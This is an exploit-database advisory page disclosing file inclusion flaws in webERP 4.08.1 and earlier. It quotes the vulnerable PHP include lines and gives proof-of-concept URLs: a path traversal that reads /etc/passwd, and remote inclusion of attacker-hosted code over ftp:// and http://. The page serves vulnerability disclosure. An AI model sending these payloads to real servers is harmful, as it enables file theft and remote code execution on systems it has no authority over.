Lucene search
K

webERP <= 4.08.1 - Local/Remote File Inclusion Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 28 Views

webERP <= 4.08.1 - Local/Remote File Inclusion Vulnerabilit

Code

                                                  :::::::-.   ...    ::::::.    :::.
   ;;,   `&#39;;, ;;     ;;;`;;;;,  `;;;
   `[[     [[[[&#39;     [[[  [[[[[. &#39;[[
    $$,    $$$$      $$$  $$$ &#34;Y$c$$
    888_,o8P&#39;88    .d888  888    Y88
    MMMMP&#34;`   &#34;YmmMMMM&#34;&#34;  MMM     YM
	
   [ Discovered by dun \ posdub[at]gmail.com ]
   [ 2012-06-27                              ]
 ###################################################################
 # [ webERP &#60;= 4.08.1 ] Local/Remote File Inclusion Vulnerability  #
 ###################################################################
 #
 # Script: &#34;Accounting & Best Practice Business Administration System&#34;
 #
 # Vendor:   http://www.weberp.org/
 # Download: http://sourceforge.net/projects/web-erp/files/
 #
 # File: ./webERP/index.php (line: 4)
 #   1    &#60;?php
 #   2    $PageSecurity=0;
 #   3
 #   4    include(&#39;includes/session.inc&#39;);                    // 1
 #  ..cut..
 #
 # File: ./webERP/includes/session.inc (lines: 4-16)
 #  ..cut..
 #   4    if (!isset($PathPrefix)) {                          // 2
 #   5        $PathPrefix=&#39;&#39;;
 #   6    }
 #   7
 #   8
 #   9    if (!file_exists($PathPrefix . &#39;config.php&#39;)){      // 3
 #  10        $rootpath = dirname(htmlspecialchars($_SERVER[&#39;PHP_SELF&#39;],ENT_QUOTES,&#39;UTF-8&#39;));
 #  11        if ($rootpath == &#39;/&#39; OR $rootpath == &#34;\\&#34;) {
 #  12            $rootpath = &#39;&#39;;
 #  13        }
 #  14        header(&#39;Location:&#39; . $rootpath . &#39;/install/index.php&#39;);
 #  15    }
 #  16    include($PathPrefix . &#39;config.php&#39;);                // 4 [LFI]/[RFI]
 #  ..cut..
 #    
 # [LFI] ( magic_quotes_gpc = Off; )
 # Vuln: http://localhost/webERP/index.php?PathPrefix=../../../../../../etc/passwd%00
 #
 # [RFI #1] ( allow_url_fopen = On; allow_url_include = On; register_globals = On; )
 # It is possible to bypass line: (!file_exists($PathPrefix . &#39;config.php&#39;)),
 # when we use some url wrappers. For example ftp://
 # Example:
 #
 # dun@rd01 ~ $ cat ./config.php
 #  &#60;?php phpinfo(); ?&#62;
 # dun@rd01 ~ $ ftp ftp.server.com
 #  Connected to ftp.server.com.
 #  Name (ftp.server.com): user
 #  331 User user OK. Password required
 #  Password:
 #  230 OK. Current restricted directory is /
 #  ftp&#62; put config.php
 #  local: config.php remote: config.php
 #  200 PORT command successful
 #  226 File successfully transferred
 #  ftp&#62; quit
 #  221 Logout.
 #
 # Now we can use url:
 # Vuln: http://localhost/webERP/index.php?PathPrefix=ftp://user:[email protected]/
 # In this case, script checks if the file &#39;ftp://user:[email protected]/&#39; . &#39;config.php&#39; does not exist.
 # If exist, then include it.
 #
 ###################################################################
 #
 # [RFI #2] ( allow_url_include = On; register_globals = On; ) 
 #
 # File: ./webERP/includes/LanguageSetup.php (lines: 29-84)
 #  ..cut.. 
 #  29    if (!function_exists(&#39;gettext&#39;)) {
 #  ..cut..
 #  34        require_once($PathPrefix . &#39;includes/php-gettext/streams.php&#39;);
 #  ..cut..
 #  64    } else {
 #  65        include($PathPrefix . &#39;includes/LanguagesArray.php&#39;);
 #  ..cut..
 #  84    }
 #  ..cut..
 #
 # Vuln: http://localhost/webERP/includes/LanguageSetup.php?PathPrefix=http://localhost/phpinfo.txt?
 #
 ### [ dun / 2012 ] #####################################################
 
 
 
 
 
 
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation